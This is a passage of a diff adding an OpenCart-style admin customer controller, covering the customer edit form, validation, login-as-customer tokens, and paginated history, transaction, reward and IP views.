+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('customer/customer_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['customer_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->get['customer_id'])) {
+ $data['customer_id'] = (int)$this->request->get['customer_id'];
+ } else {
+ $data['customer_id'] = 0;
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['firstname'])) {
+ $data['error_firstname'] = $this->error['firstname'];
+ } else {
+ $data['error_firstname'] = '';
+ }
+
+ if (isset($this->error['lastname'])) {
+ $data['error_lastname'] = $this->error['lastname'];
+ } else {
+ $data['error_lastname'] = '';
+ }
+
+ if (isset($this->error['email'])) {
+ $data['error_email'] = $this->error['email'];
+ } else {
+ $data['error_email'] = '';
+ }
+
+ if (isset($this->error['telephone'])) {
+ $data['error_telephone'] = $this->error['telephone'];
+ } else {
+ $data['error_telephone'] = '';
+ }
+
+ if (isset($this->error['tracking'])) {
+ $data['error_tracking'] = $this->error['tracking'];
+ } else {
+ $data['error_tracking'] = '';
+ }
+
+ if (isset($this->error['cheque'])) {
+ $data['error_cheque'] = $this->error['cheque'];
+ } else {
+ $data['error_cheque'] = '';
+ }
+
+ if (isset($this->error['paypal'])) {
+ $data['error_paypal'] = $this->error['paypal'];
+ } else {
+ $data['error_paypal'] = '';
+ }
+
+ if (isset($this->error['bank_account_name'])) {
+ $data['error_bank_account_name'] = $this->error['bank_account_name'];
+ } else {
+ $data['error_bank_account_name'] = '';
+ }
+
+ if (isset($this->error['bank_account_number'])) {
+ $data['error_bank_account_number'] = $this->error['bank_account_number'];
+ } else {
+ $data['error_bank_account_number'] = '';
+ }
+
+ if (isset($this->error['password'])) {
+ $data['error_password'] = $this->error['password'];
+ } else {
+ $data['error_password'] = '';
+ }
+
+ if (isset($this->error['confirm'])) {
+ $data['error_confirm'] = $this->error['confirm'];
+ } else {
+ $data['error_confirm'] = '';
+ }
+
+ if (isset($this->error['custom_field'])) {
+ $data['error_custom_field'] = $this->error['custom_field'];
+ } else {
+ $data['error_custom_field'] = array();
+ }
+
+ if (isset($this->error['address'])) {
+ $data['error_address'] = $this->error['address'];
+ } else {
+ $data['error_address'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $url .= '&filter_email=' . urlencode(html_entity_decode($this->request->get['filter_email'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $url .= '&filter_customer_group_id=' . $this->request->get['filter_customer_group_id'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $url .= '&filter_ip=' . $this->request->get['filter_ip'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['customer_id'])) {
+ $data['action'] = $this->url->link('customer/customer/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $this->request->get['customer_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['customer_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $customer_info = $this->model_customer_customer->getCustomer($this->request->get['customer_id']);
+ }
+
+ $this->load->model('customer/customer_group');
+
+ $data['customer_groups'] = $this->model_customer_customer_group->getCustomerGroups();
+
+ if (isset($this->request->post['customer_group_id'])) {
+ $data['customer_group_id'] = $this->request->post['customer_group_id'];
+ } elseif (!empty($customer_info)) {
+ $data['customer_group_id'] = $customer_info['customer_group_id'];
+ } else {
+ $data['customer_group_id'] = $this->config->get('config_customer_group_id');
+ }
+
+ if (isset($this->request->post['firstname'])) {
+ $data['firstname'] = $this->request->post['firstname'];
+ } elseif (!empty($customer_info)) {
+ $data['firstname'] = $customer_info['firstname'];
+ } else {
+ $data['firstname'] = '';
+ }
+
+ if (isset($this->request->post['lastname'])) {
+ $data['lastname'] = $this->request->post['lastname'];
+ } elseif (!empty($customer_info)) {
+ $data['lastname'] = $customer_info['lastname'];
+ } else {
+ $data['lastname'] = '';
+ }
+
+ if (isset($this->request->post['email'])) {
+ $data['email'] = $this->request->post['email'];
+ } elseif (!empty($customer_info)) {
+ $data['email'] = $customer_info['email'];
+ } else {
+ $data['email'] = '';
+ }
+
+ if (isset($this->request->post['telephone'])) {
+ $data['telephone'] = $this->request->post['telephone'];
+ } elseif (!empty($customer_info)) {
+ $data['telephone'] = $customer_info['telephone'];
+ } else {
+ $data['telephone'] = '';
+ }
+
+ // Custom Fields
+ $this->load->model('customer/custom_field');
+
+ $data['custom_fields'] = array();
+
+ $filter_data = array(
+ 'sort' => 'cf.sort_order',
+ 'order' => 'ASC'
+ );
+
+ $custom_fields = $this->model_customer_custom_field->getCustomFields($filter_data);
+
+ foreach ($custom_fields as $custom_field) {
+ $data['custom_fields'][] = array(
+ 'custom_field_id' => $custom_field['custom_field_id'],
+ 'custom_field_value' => $this->model_customer_custom_field->getCustomFieldValues($custom_field['custom_field_id']),
+ 'name' => $custom_field['name'],
+ 'value' => $custom_field['value'],
+ 'type' => $custom_field['type'],
+ 'location' => $custom_field['location'],
+ 'sort_order' => $custom_field['sort_order']
+ );
+ }
+
+ if (isset($this->request->post['custom_field'])) {
+ $data['account_custom_field'] = $this->request->post['custom_field'];
+ } elseif (!empty($customer_info)) {
+ $data['account_custom_field'] = json_decode($customer_info['custom_field'], true);
+ } else {
+ $data['account_custom_field'] = array();
+ }
+
+ if (isset($this->request->post['newsletter'])) {
+ $data['newsletter'] = $this->request->post['newsletter'];
+ } elseif (!empty($customer_info)) {
+ $data['newsletter'] = $customer_info['newsletter'];
+ } else {
+ $data['newsletter'] = '';
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($customer_info)) {
+ $data['status'] = $customer_info['status'];
+ } else {
+ $data['status'] = true;
+ }
+
+ if (isset($this->request->post['safe'])) {
+ $data['safe'] = $this->request->post['safe'];
+ } elseif (!empty($customer_info)) {
+ $data['safe'] = $customer_info['safe'];
+ } else {
+ $data['safe'] = 0;
+ }
+
+ if (isset($this->request->post['password'])) {
+ $data['password'] = $this->request->post['password'];
+ } else {
+ $data['password'] = '';
+ }
+
+ if (isset($this->request->post['confirm'])) {
+ $data['confirm'] = $this->request->post['confirm'];
+ } else {
+ $data['confirm'] = '';
+ }
+
+ $this->load->model('localisation/country');
+
+ $data['countries'] = $this->model_localisation_country->getCountries();
+
+ if (isset($this->request->post['address'])) {
+ $data['addresses'] = $this->request->post['address'];
+ } elseif (isset($this->request->get['customer_id'])) {
+ $data['addresses'] = $this->model_customer_customer->getAddresses($this->request->get['customer_id']);
+ } else {
+ $data['addresses'] = array();
+ }
+
+ if (isset($this->request->post['address_id'])) {
+ $data['address_id'] = $this->request->post['address_id'];
+ } elseif (!empty($customer_info)) {
+ $data['address_id'] = $customer_info['address_id'];
+ } else {
+ $data['address_id'] = '';
+ }
+
+ // Affliate
+ if (isset($this->request->get['customer_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $affiliate_info = $this->model_customer_customer->getAffiliate($this->request->get['customer_id']);
+ }
+
+ if (isset($this->request->post['affiliate'])) {
+ $data['affiliate'] = $this->request->post['affiliate'];
+ } elseif (!empty($affiliate_info)) {
+ $data['affiliate'] = $affiliate_info['status'];
+ } else {
+ $data['affiliate'] = '';
+ }
+
+ if (isset($this->request->post['company'])) {
+ $data['company'] = $this->request->post['company'];
+ } elseif (!empty($affiliate_info)) {
+ $data['company'] = $affiliate_info['company'];
+ } else {
+ $data['company'] = '';
+ }
+
+ if (isset($this->request->post['website'])) {
+ $data['website'] = $this->request->post['website'];
+ } elseif (!empty($affiliate_info)) {
+ $data['website'] = $affiliate_info['website'];
+ } else {
+ $data['website'] = '';
+ }
+
+ if (isset($this->request->post['tracking'])) {
+ $data['tracking'] = $this->request->post['tracking'];
+ } elseif (!empty($affiliate_info)) {
+ $data['tracking'] = $affiliate_info['tracking'];
+ } else {
+ $data['tracking'] = '';
+ }
+
+ if (isset($this->request->post['commission'])) {
+ $data['commission'] = $this->request->post['commission'];
+ } elseif (!empty($affiliate_info)) {
+ $data['commission'] = $affiliate_info['commission'];
+ } else {
+ $data['commission'] = $this->config->get('config_affiliate_commission');
+ }
+
+ if (isset($this->request->post['tax'])) {
+ $data['tax'] = $this->request->post['tax'];
+ } elseif (!empty($affiliate_info)) {
+ $data['tax'] = $affiliate_info['tax'];
+ } else {
+ $data['tax'] = '';
+ }
+
+ if (isset($this->request->post['payment'])) {
+ $data['payment'] = $this->request->post['payment'];
+ } elseif (!empty($affiliate_info)) {
+ $data['payment'] = $affiliate_info['payment'];
+ } else {
+ $data['payment'] = 'cheque';
+ }
+
+ if (isset($this->request->post['cheque'])) {
+ $data['cheque'] = $this->request->post['cheque'];
+ } elseif (!empty($affiliate_info)) {
+ $data['cheque'] = $affiliate_info['cheque'];
+ } else {
+ $data['cheque'] = '';
+ }
+
+ if (isset($this->request->post['paypal'])) {
+ $data['paypal'] = $this->request->post['paypal'];
+ } elseif (!empty($affiliate_info)) {
+ $data['paypal'] = $affiliate_info['paypal'];
+ } else {
+ $data['paypal'] = '';
+ }
+
+ if (isset($this->request->post['bank_name'])) {
+ $data['bank_name'] = $this->request->post['bank_name'];
+ } elseif (!empty($affiliate_info)) {
+ $data['bank_name'] = $affiliate_info['bank_name'];
+ } else {
+ $data['bank_name'] = '';
+ }
+
+ if (isset($this->request->post['bank_branch_number'])) {
+ $data['bank_branch_number'] = $this->request->post['bank_branch_number'];
+ } elseif (!empty($affiliate_info)) {
+ $data['bank_branch_number'] = $affiliate_info['bank_branch_number'];
+ } else {
+ $data['bank_branch_number'] = '';
+ }
+
+ if (isset($this->request->post['bank_swift_code'])) {
+ $data['bank_swift_code'] = $this->request->post['bank_swift_code'];
+ } elseif (!empty($affiliate_info)) {
+ $data['bank_swift_code'] = $affiliate_info['bank_swift_code'];
+ } else {
+ $data['bank_swift_code'] = '';
+ }
+
+ if (isset($this->request->post['bank_account_name'])) {
+ $data['bank_account_name'] = $this->request->post['bank_account_name'];
+ } elseif (!empty($affiliate_info)) {
+ $data['bank_account_name'] = $affiliate_info['bank_account_name'];
+ } else {
+ $data['bank_account_name'] = '';
+ }
+
+ if (isset($this->request->post['bank_account_number'])) {
+ $data['bank_account_number'] = $this->request->post['bank_account_number'];
+ } elseif (!empty($affiliate_info)) {
+ $data['bank_account_number'] = $affiliate_info['bank_account_number'];
+ } else {
+ $data['bank_account_number'] = '';
+ }
+
+ if (isset($this->request->post['custom_field'])) {
+ $data['affiliate_custom_field'] = $this->request->post['custom_field'];
+ } elseif (!empty($affiliate_info)) {
+ $data['affiliate_custom_field'] = json_decode($affiliate_info['custom_field'], true);
+ } else {
+ $data['affiliate_custom_field'] = array();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('customer/customer_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'customer/customer')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['firstname']) < 1) || (utf8_strlen(trim($this->request->post['firstname'])) > 32)) {
+ $this->error['firstname'] = $this->language->get('error_firstname');
+ }
+
+ if ((utf8_strlen($this->request->post['lastname']) < 1) || (utf8_strlen(trim($this->request->post['lastname'])) > 32)) {
+ $this->error['lastname'] = $this->language->get('error_lastname');
+ }
+
+ if ((utf8_strlen($this->request->post['email']) > 96) || !filter_var($this->request->post['email'], FILTER_VALIDATE_EMAIL)) {
+ $this->error['email'] = $this->language->get('error_email');
+ }
+
+ $customer_info = $this->model_customer_customer->getCustomerByEmail($this->request->post['email']);
+
+ if (!isset($this->request->get['customer_id'])) {
+ if ($customer_info) {
+ $this->error['warning'] = $this->language->get('error_exists');
+ }
+ } else {
+ if ($customer_info && ($this->request->get['customer_id'] != $customer_info['customer_id'])) {
+ $this->error['warning'] = $this->language->get('error_exists');
+ }
+ }
+
+ if ((utf8_strlen($this->request->post['telephone']) < 3) || (utf8_strlen($this->request->post['telephone']) > 32)) {
+ $this->error['telephone'] = $this->language->get('error_telephone');
+ }
+
+ // Custom field validation
+ $this->load->model('customer/custom_field');
+
+ $custom_fields = $this->model_customer_custom_field->getCustomFields(array('filter_customer_group_id' => $this->request->post['customer_group_id']));
+
+ foreach ($custom_fields as $custom_field) {
+ if (($custom_field['location'] == 'account') && $custom_field['required'] && empty($this->request->post['custom_field'][$custom_field['custom_field_id']])) {
+ $this->error['custom_field'][$custom_field['custom_field_id']] = sprintf($this->language->get('error_custom_field'), $custom_field['name']);
+ } elseif (($custom_field['location'] == 'account') && ($custom_field['type'] == 'text') && !empty($custom_field['validation']) && !filter_var($this->request->post['custom_field'][$custom_field['custom_field_id']], FILTER_VALIDATE_REGEXP, array('options' => array('regexp' => $custom_field['validation'])))) {
+ $this->error['custom_field'][$custom_field['custom_field_id']] = sprintf($this->language->get('error_custom_field'), $custom_field['name']);
+ }
+ }
+
+ if ($this->request->post['password'] || (!isset($this->request->get['customer_id']))) {
+ if ((utf8_strlen(html_entity_decode($this->request->post['password'], ENT_QUOTES, 'UTF-8')) < 4) || (utf8_strlen(html_entity_decode($this->request->post['password'], ENT_QUOTES, 'UTF-8')) > 40)) {
+ $this->error['password'] = $this->language->get('error_password');
+ }
+
+ if ($this->request->post['password'] != $this->request->post['confirm']) {
+ $this->error['confirm'] = $this->language->get('error_confirm');
+ }
+ }
+
+ if (isset($this->request->post['address'])) {
+ foreach ($this->request->post['address'] as $key => $value) {
+ if ((utf8_strlen($value['firstname']) < 1) || (utf8_strlen($value['firstname']) > 32)) {
+ $this->error['address'][$key]['firstname'] = $this->language->get('error_firstname');
+ }
+
+ if ((utf8_strlen($value['lastname']) < 1) || (utf8_strlen($value['lastname']) > 32)) {
+ $this->error['address'][$key]['lastname'] = $this->language->get('error_lastname');
+ }
+
+ if ((utf8_strlen($value['address_1']) < 3) || (utf8_strlen($value['address_1']) > 128)) {
+ $this->error['address'][$key]['address_1'] = $this->language->get('error_address_1');
+ }
+
+ if ((utf8_strlen($value['city']) < 2) || (utf8_strlen($value['city']) > 128)) {
+ $this->error['address'][$key]['city'] = $this->language->get('error_city');
+ }
+
+ $this->load->model('localisation/country');
+
+ $country_info = $this->model_localisation_country->getCountry($value['country_id']);
+
+ if ($country_info && $country_info['postcode_required'] && (utf8_strlen($value['postcode']) < 2 || utf8_strlen($value['postcode']) > 10)) {
+ $this->error['address'][$key]['postcode'] = $this->language->get('error_postcode');
+ }
+
+ if ($value['country_id'] == '') {
+ $this->error['address'][$key]['country'] = $this->language->get('error_country');
+ }
+
+ if (!isset($value['zone_id']) || $value['zone_id'] == '') {
+ $this->error['address'][$key]['zone'] = $this->language->get('error_zone');
+ }
+
+ foreach ($custom_fields as $custom_field) {
+ if (($custom_field['location'] == 'address') && $custom_field['required'] && empty($value['custom_field'][$custom_field['custom_field_id']])) {
+ $this->error['address'][$key]['custom_field'][$custom_field['custom_field_id']] = sprintf($this->language->get('error_custom_field'), $custom_field['name']);
+ } elseif (($custom_field['location'] == 'address') && ($custom_field['type'] == 'text') && !empty($custom_field['validation']) && !filter_var($value['custom_field'][$custom_field['custom_field_id']], FILTER_VALIDATE_REGEXP, array('options' => array('regexp' => $custom_field['validation'])))) {
+ $this->error['address'][$key]['custom_field'][$custom_field['custom_field_id']] = sprintf($this->language->get('error_custom_field'), $custom_field['name']);
+ }
+ }
+ }
+ }
+
+ if ($this->request->post['affiliate']) {
+ if ($this->request->post['payment'] == 'cheque') {
+ if ($this->request->post['cheque'] == '') {
+ $this->error['cheque'] = $this->language->get('error_cheque');
+ }
+ } elseif ($this->request->post['payment'] == 'paypal') {
+ if ((utf8_strlen($this->request->post['paypal']) > 96) || !filter_var($this->request->post['paypal'], FILTER_VALIDATE_EMAIL)) {
+ $this->error['paypal'] = $this->language->get('error_paypal');
+ }
+ } elseif ($this->request->post['payment'] == 'bank') {
+ if ($this->request->post['bank_account_name'] == '') {
+ $this->error['bank_account_name'] = $this->language->get('error_bank_account_name');
+ }
+
+ if ($this->request->post['bank_account_number'] == '') {
+ $this->error['bank_account_number'] = $this->language->get('error_bank_account_number');
+ }
+ }
+
+ if (!$this->request->post['tracking']) {
+ $this->error['tracking'] = $this->language->get('error_tracking');
+ }
+
+ $affiliate_info = $this->model_customer_customer->getAffliateByTracking($this->request->post['tracking']);
+
+ if (!isset($this->request->get['customer_id'])) {
+ if ($affiliate_info) {
+ $this->error['tracking'] = $this->language->get('error_tracking_exists');
+ }
+ } else {
+ if ($affiliate_info && ($this->request->get['customer_id'] != $affiliate_info['customer_id'])) {
+ $this->error['tracking'] = $this->language->get('error_tracking_exists');
+ }
+ }
+
+ foreach ($custom_fields as $custom_field) {
+ if (($custom_field['location'] == 'affiliate') && $custom_field['required'] && empty($this->request->post['custom_field'][$custom_field['custom_field_id']])) {
+ $this->error['custom_field'][$custom_field['custom_field_id']] = sprintf($this->language->get('error_custom_field'), $custom_field['name']);
+ } elseif (($custom_field['location'] == 'affiliate') && ($custom_field['type'] == 'text') && !empty($custom_field['validation']) && !filter_var($this->request->post['custom_field'][$custom_field['custom_field_id']], FILTER_VALIDATE_REGEXP, array('options' => array('regexp' => $custom_field['validation'])))) {
+ $this->error['custom_field'][$custom_field['custom_field_id']] = sprintf($this->language->get('error_custom_field'), $custom_field['name']);
+ }
+ }
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'customer/customer')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateUnlock() {
+ if (!$this->user->hasPermission('modify', 'customer/customer')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function login() {
+ if (isset($this->request->get['customer_id'])) {
+ $customer_id = $this->request->get['customer_id'];
+ } else {
+ $customer_id = 0;
+ }
+
+ $this->load->model('customer/customer');
+
+ $customer_info = $this->model_customer_customer->getCustomer($customer_id);
+
+ if ($customer_info) {
+ // Create token to login with
+ $token = token(64);
+
+ $this->model_customer_customer->editToken($customer_id, $token);
+
+ if (isset($this->request->get['store_id'])) {
+ $store_id = $this->request->get['store_id'];
+ } else {
+ $store_id = 0;
+ }
+
+ $this->load->model('setting/store');
+
+ $store_info = $this->model_setting_store->getStore($store_id);
+
+ if ($store_info) {
+ $this->response->redirect($store_info['url'] . 'index.php?route=account/login&token=' . $token);
+ } else {
+ $this->response->redirect(HTTP_CATALOG . 'index.php?route=account/login&token=' . $token);
+ }
+ } else {
+ $this->load->language('error/not_found');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('error/not_found', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('error/not_found', $data));
+ }
+ }
+
+ public function history() {
+ $this->load->language('customer/customer');
+
+ $this->load->model('customer/customer');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $limit = $this->config->get('config_limit_admin');
+
+ $data['histories'] = array();
+
+ $results = $this->model_customer_customer->getHistories($this->request->get['customer_id'], ($page - 1) * $limit, $limit);
+
+ foreach ($results as $result) {
+ $data['histories'][] = array(
+ 'comment' => $result['comment'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added']))
+ );
+ }
+
+ $history_total = $this->model_customer_customer->getTotalHistories($this->request->get['customer_id']);
+
+ $pagination = new Pagination();
+ $pagination->total = $history_total;
+ $pagination->page = $page;
+ $pagination->limit = $limit;
+ $pagination->url = $this->url->link('customer/customer/history', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $this->request->get['customer_id'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($history_total) ? (($page - 1) * $limit) + 1 : 0, ((($page - 1) * $limit) > ($history_total - $limit)) ? $history_total : ((($page - 1) * $limit) + $limit), $history_total, ceil($history_total / $limit));
+
+ $this->response->setOutput($this->load->view('customer/customer_history', $data));
+ }
+
+ public function addHistory() {
+ $this->load->language('customer/customer');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'customer/customer')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $this->load->model('customer/customer');
+
+ $this->model_customer_customer->addHistory($this->request->get['customer_id'], $this->request->post['comment']);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function transaction() {
+ $this->load->language('customer/customer');
+
+ $this->load->model('customer/customer');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $limit = $this->config->get('config_limit_admin');
+
+ $data['transactions'] = array();
+
+ $results = $this->model_customer_customer->getTransactions($this->request->get['customer_id'], ($page - 1) * $limit, $limit);
+
+ foreach ($results as $result) {
+ $data['transactions'][] = array(
+ 'amount' => $this->currency->format($result['amount'], $this->config->get('config_currency')),
+ 'description' => $result['description'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added']))
+ );
+ }
+
+ $data['balance'] = $this->currency->format($this->model_customer_customer->getTransactionTotal($this->request->get['customer_id']), $this->config->get('config_currency'));
+
+ $transaction_total = $this->model_customer_customer->getTotalTransactions($this->request->get['customer_id']);
+
+ $pagination = new Pagination();
+ $pagination->total = $transaction_total;
+ $pagination->page = $page;
+ $pagination->limit = $limit;
+ $pagination->url = $this->url->link('customer/customer/transaction', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $this->request->get['customer_id'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($transaction_total) ? (($page - 1) * $limit) + 1 : 0, ((($page - 1) * $limit) > ($transaction_total - $limit)) ? $transaction_total : ((($page - 1) * $limit) + $limit), $transaction_total, ceil($transaction_total / $limit));
+
+ $this->response->setOutput($this->load->view('customer/customer_transaction', $data));
+ }
+
+ public function addTransaction() {
+ $this->load->language('customer/customer');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'customer/customer')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $this->load->model('customer/customer');
+
+ $this->model_customer_customer->addTransaction($this->request->get['customer_id'], $this->request->post['description'], $this->request->post['amount']);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function reward() {
+ $this->load->language('customer/customer');
+
+ $this->load->model('customer/customer');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $limit = $this->config->get('config_limit_admin');
+
+ $data['rewards'] = array();
+
+ $results = $this->model_customer_customer->getRewards($this->request->get['customer_id'], ($page - 1) * $limit, $limit);
+
+ foreach ($results as $result) {
+ $data['rewards'][] = array(
+ 'points' => $result['points'],
+ 'description' => $result['description'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added']))
+ );
+ }
+
+ $data['balance'] = $this->model_customer_customer->getRewardTotal($this->request->get['customer_id']);
+
+ $reward_total = $this->model_customer_customer->getTotalRewards($this->request->get['customer_id']);
+
+ $pagination = new Pagination();
+ $pagination->total = $reward_total;
+ $pagination->page = $page;
+ $pagination->limit = $limit;
+ $pagination->url = $this->url->link('customer/customer/reward', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $this->request->get['customer_id'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($reward_total) ? (($page - 1) * $limit) + 1 : 0, ((($page - 1) * $limit) > ($reward_total - $limit)) ? $reward_total : ((($page - 1) * $limit) + $limit), $reward_total, ceil($reward_total / $limit));
+
+ $this->response->setOutput($this->load->view('customer/customer_reward', $data));
+ }
+
+ public function addReward() {
+ $this->load->language('customer/customer');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'customer/customer')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $this->load->model('customer/customer');
+
+ $this->model_customer_customer->addReward($this->request->get['customer_id'], $this->request->post['description'], $this->request->post['points']);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function ip() {
+ $this->load->language('customer/customer');
+
+ $this->load->model('customer/customer');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $limit = $this->config->get('config_limit_admin');
+
+ $data['ips'] = array();
+
+ $results = $this->model_customer_customer->getIps($this->request->get['customer_id'], ($page - 1) * $limit, $limit);
+
+ foreach ($results as $result) {
+ $data['ips'][] = array(
+ 'ip' => $result['ip'],
+ 'total' => $this->model_customer_customer->getTotalCustomersByIp($result['ip']),
+ 'date_added' => date('d/m/y', strtotime($result['date_added'])),
+ 'filter_ip' => $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . '&filter_ip=' . $result['ip'], true)
+ );
+ }
+
+ $ip_total = $this->model_customer_customer->getTotalIps($this->request->get['customer_id']);
+
+ $pagination = new Pagination();
+ $pagination->total = $ip_total;
+ $pagination->page = $page;
+ $pagination->limit = $limit;
+ $pagination->url = $this->url->link('customer/customer/ip', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $this->request->get['customer_id'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($ip_total) ? (($page - 1) * $limit) + 1 : 0, ((($page - 1) * $limit) > ($ip_total - $limit)) ? $ip_total : ((($page - 1) * $limit) + $limit), $ip_total, ceil($ip_total / $limit));
+
+ $this->response->setOutput($this->load->view('customer/customer_ip', $data));
+ }
+
+ public function autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name']) || isset($this->request->get['filter_email'])) {
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = '';
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $filter_email = $this->request->get['filter_email'];
+ } else {
+ $filter_email = '';
+ }
+
+ if (isset($this->request->get['filter_affiliate'])) {
+ $filter_affiliate = $this->request->get['filter_affiliate'];
+ } else {
+ $filter_affiliate = '';
+ }
+
+ $this->load->model('customer/customer');
+
+ $filter_data = array(
+ 'filter_name' => $filter_name,
+ 'filter_email' => $filter_email,
+ 'filter_affiliate' => $filter_affiliate,
+ 'start' => 0,
+ 'limit' => $this->config->get('config_limit_autocomplete')
+ );
+
+ $results = $this->model_customer_customer->getCustomers($filter_data);
+
+ foreach ($results as $result) {
+ $json[] = array(
+ 'customer_id' => $result['customer_id'],
+ 'customer_group_id' => $result['customer_group_id'],
+ 'name' => strip_tags(html_entity_decode($result['name'], ENT_QUOTES, 'UTF-8')),
+ 'customer_group' => $result['customer_group'],
+ 'firstname' => $result['firstname'],
+ 'lastname' => $result['lastname'],
+ 'email' => $result['email'],
+ 'telephone' => $result['telephone'],
+ 'custom_field' => json_decode($result['custom_field'], true),
+ 'address' => $this->model_customer_customer->getAddresses($result['customer_id'])
+ );
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($json as $key => $value) {
+ $sort_order[$key] = $value['name'];
+ }
+
